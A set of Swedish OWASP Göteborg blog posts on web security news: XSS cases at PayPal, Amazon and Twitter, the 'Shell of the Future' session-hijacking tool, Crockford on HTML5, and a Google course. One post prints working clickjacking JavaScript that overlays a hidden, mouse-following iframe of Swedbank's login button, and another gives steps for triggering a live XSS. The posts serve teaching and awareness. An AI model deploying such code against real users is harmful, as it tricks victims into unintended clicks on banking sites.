CommunityHack i Göteborg

Den 18 februari öppnar OWASP Göteborg dörrarna till vårt första community hack! Där ges möjlighet att hacka på de där hobbyprojekten som man aldrig tar sig tid för annars samt trevligt umgänge med likasinnade. Vi kommer att befinna oss på Chalmers från klockan 09.00 och håller på en bit in på kvällen. Under dagen så bjuder vår sponsor Omegapoint på pizza och läsk för att vi ska hålla energin uppe. Vår förhoppning är även att kunna bjuda på en enklare frukost samt lite tilltugg.

Anmälan sker genom Eventbrite och för mer information samt förslag på vad man kan hitta på under dagen så rekommenderas ett besök på eventets wiki. Vi har plats för max 40 besökare, och som vanligt är det först till kvarn som gäller. För frågor så går det bra att höra av sig direkt till mig!

Förresten, ni har väl inte missat Patrik Corneliussons blogginlägg om de många DOM-baserade XSS-sårbarheter som han hittade vid en analys av Sveriges 100 bästa sajter, utsedda av IDG?

Med vänliga hälsningar,

Erik Brännström (@erikbrannstrom)

OWASP Göteborg

Material från Mario Heiderichs föredrag

Mario Heiderich gav två väldigt uppskattade föredrag på OWASP Sweden-kvällen 7/3:

1. The Image That Called Me (pdf) – om SVG-säkerhet
2. Locking the Throneroom (pdf) – om att låsa ner DOM:en för att motverka XSS-attacker

Han använde också ett trevligt litet markupverktyg för att dema olika XSS-brister i webbläsare. Det är bara två textfält – i det övre matar du in din markup och i det nedre visas hur webbläsaren tolkar det, dvs det som faktiskt kommer att renderas.

Verktyget är nedanstående HTML. Bara att spara i en lokal fil och köra.

<!doctype html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=utf-8" />
</head>
<body>
<textarea id="html" style="width:100%;height:190px;"></textarea>
<div id="canvas"></div>
<textarea id="log" style="width:100%;height:190px;"></textarea>
<div id="canvas2"></div>
<script>
var html = document.getElementById('html');
var log = document.getElementById('log');
var canvas = document.getElementById('canvas');
var canvas2 = document.getElementById('canvas2');
var updateCanvas = function(){
    canvas.innerHTML=html.value
    log.value=canvas.innerHTML;
    canvas2.innerHTML=canvas.innerHTML;
};
html.onkeyup = updateCanvas;
window.onload = updateCanvas;
</script>
</body>
</html>

XSS via PayPal-betalningar

Ibland händer sånt som man normalt bara skämtar om. Book injection förra månaden var en sådan grej. Nu visar det sig att meddelandefältet vid PayPal-betalningar tillåter JavaScript, dvs möjliggör cross-site scripting. Man slutar aldrig att förvånas.

Book Injection (helt otroligt)

Böcker om hacking innehåller förstås ... elak kod. Så boken "XSS Attacks: Cross Site Scripting Exploits and Defense" innehåller förstås cross-site scripting-kod. Vad händer när amazon.com vill visa lite av innehållet i sådana böcker och glömmer att html-koda det hela? Det kan ni ta reda på genom följande enkla steg (inget farligt sker så vitt jag vet):

1. Logga in på amazon.com (man måste vara inloggad för att få söka i böcker)
2. Sök efter "XSS Attacks"
3. Boken ska dyka upp som första träff, välj den (eller om du är inloggad så klicka här direkt)
4. Klicka på "search inside this book"
5. Sök efter '1000' (utan fnuttar)
6. Hovra muspekaren över första sökträffen (sidan 28)

Eller läs om det hela på http://drwetter.eu/amazon/.

(Bloggpost 100 i år – tjoho!)

Twitter fortfarande sårbart

Jag vet inte om ni följer utvecklingen men Twitters XSS-fix var fel. Sen fixade de igen. Och den fixen var fel. Sen fixade de igen och idag kom folk fram till att det var fel på den fixen också.

Delar av historien här:

http://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html

Alltså ... överge webbgränssnittet och ladda hem en klient tills vidare. T ex:

http://www.tweetdeck.com/

http://iconfactory.com/software/twitterrific

XSS-verktyg: Shell of the Future

Lavakumar Kuppan från Attack and Defense Labs har släppt ett intressant XSS-verktyg: Shell of the Future. Tanken är att hjälpa pentestare att bevisa hur farliga XSS-sårbarheter är.

Klientskript kommunicerar med cross-origin request

Som attackerare sätter du upp en server vilken kommer utgöra din kontrollstation. Sen planterar du en av två färdiga skript mha XSS-sårbarheten. Genom cross-origin request (del av HTML5) så låter nu skriptet dig surfa sömlöst med offrets session.

Clickjacking för att behålla skriptet lajv

I många fall så har attackeraren en begränsad tidslucka då hans/hennes elaka skript lever i offrets session. Så fort offret klickar vidare så laddas en sida som inte innehåller det elaka skriptet och tidsluckan är förbi.

För att underlätta så har Lava gjort en variant av Shell of the Future-skriptet som använder clickjacking för att stjäla offrets klick och öppna länken i en ny flik istället. På det viset så lever attackskriptet kvar i den gamla fliken och attackeraren kan fortsätta surfa med offrets session.

Douglas Crockford om XSS

Jag tänkte först skriva en summering av den fantastiska OWASP AppSec-konferensen vi anordnade tillsammans för två veckor sen. Men varför göra det när man istället är sugen på att kolla några webcasts?

Douglas Crockford på vår sida

Via Twitter fick jag tips om en väldigt intressant presentation från jsconf i Washington DC i april. Det är Douglas Crockford, författare till "JavaScript: The Good Parts" och en av Yahoos tyngsta namn som ägnar 50 % av sin talartid åt cross-site scripting (XSS)! Jag kan inte nog understryka betydelsen av att en guru bland utvecklare ställer sig upp och pratar om problem och lösningar inom säkerhet.

Börja titta vid 20:50 om ni vill hoppa över de mer generella JavaScript-bitarna (historik, framtid, js kontra DOM:en osv)

Några citat

Några intressanta citat ur presentationen:

"Possibly the only thing we should be considering is security."

"The biggest problem in the browser platform is it's susceptibility to XSS attacks."

"Solving the XSS problem should be our #1 priority"

"HTML5 is a big step in the wrong direction"

Frågan om säkerhet i HTML5

Jag får fler och fler frågor om säkerhet i HTML5. Därtill har jag påbörjat minst två blogginlägg om just det ämnet men stupat på komplexitet och omfång. Det blir för mycket hur jag än gör. Just det berör Crockford när han säger att vi borde avbryta utvecklingen av HTML5 och börja om(!).

Han menar att XSS är det främsta problemet för en blomstrande webb med mashups och enterprise-tjänster. HTML5 gör XSS-problemet värre på tre sätt:

• HTML5 är väldigt komplicerat. Och komplexitet står som bekant i motsats till säkerhet (och robusthet, och testbarhet, och förvaltningsbarhet, och ...)
• HTML5 ger attackerare nya, väldigt kraftfulla verktyg inklusive access till lokal databas på klientsidan
• HTML5 kommer ta lång tid att färdigställa. Måste lösningen på XSS vänta till HTML6?

Clickjacking-exempel

Efter att ha läst RSnakes blogginlägg idag om hur reflekterad XSS kan utnyttjas för clickjackingattacker blev jag sugen på att publicera ett litet clickjacking-exempel här. Tweakade lite från RSnakes exempel och ordnade en iframe som gör att offret klickar på inloggningsknappen till Swedbank istället för på den sajt han/hon är.

Genom att göra den döljande iframe:en lite genomskinlig så syns attacken:

Koden (klistra in i en html-fil och testa på din egen burk, bara testat i Firefox):

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">

<html> <head>

<title>Clickjacking</title>

</head>

<body>

<h1>Clickjacking</h1>

<img src="http://owasp.se/owasp_appsec_research_2010_logo_by_daniel_kozlowski.jpg">

<button type="button">Logga in</button>

<script type="text/javascript">

// Skapa en iframe som ska dölja det

// vi vill att offret ska klicka på

a = document.body.appendChild(document.createElement("iframe"));

a.d = a.contentDocument;

a.d.open().close();

a.style.width = 85;

a.style.height = 30;

// Skapa en iframe som ramar in det

// vi vill att offret klickar på

i = a.d.createElement("iframe");

a.style.border = i.style.border = 0;

a.style.marginwidth = i.style.marginwidth = 0;

a.style.marginheight = i.style.marginheight = 0;

a.style.frameborder = i.style.frameborder = 1;

a.style.position = i.style.position = "absolute";

a.style.overflow = i.style.overflow = "hidden";

// Gör den döljande iframe:en nästan

// ogenomskinlig för att tydliggöra exemplet

a.style.opacity = .2;

// Vårt exempel riktar sig mot Swedbank men

// skulle lika gärna kunna vara en annan sida

i.src = "http://www.swedbank.se/";

i.style.width = 815;

i.style.height = 30;

i.style.left = -735;

i.style.top = 0;

i.style.marginwidth = 0;

i.style.marginheight = 0;

i.style.frameborder = 1;

// Lägg till Swedbank-iframe:en till

// den döljande iframe:en

a.d.body.appendChild(i);

// Skapa en funktion som låter den

// döljande iframe:en följa muspekaren

function followmouse(e) {

xcoord = ycoord = 40;

xcoord += e.pageX - 50;

ycoord += e.pageY - 50;

a.style.left = xcoord;

a.style.top = ycoord;

}

// Följ muspekaren med den döljande

// iframe:en

document.onmousemove=followmouse;

</script>

</body> </html>

Öppen Google-kurs i webbsäkerhet

Google har kommit med en öppen kurs i utveckling av säkra webbapplikationer – Web Application Exploits and Defenses. Genom ett antal labbar får man prova att hacka en medvetet sårbar bloggapplikation vid namn Jarlsberg.

Labbarna i att knäcka Jarlsberg finns i tre typer:

• Blackbox: Du kan lösa labben utan att titta på hur applikationen är konstruerad.
• Whitebox: Du måste på något sätt undersöka applikationens källkod.
• Ledtråd: Du får en ledtråd som hjälper dig lösa labben.

Bland labbarna finns:

• Cross-site scripting
• Cross-site request forgery
• Denial of service
• Remote code execution

Givetvis lär man sig säkra Jarlsberg parallellt.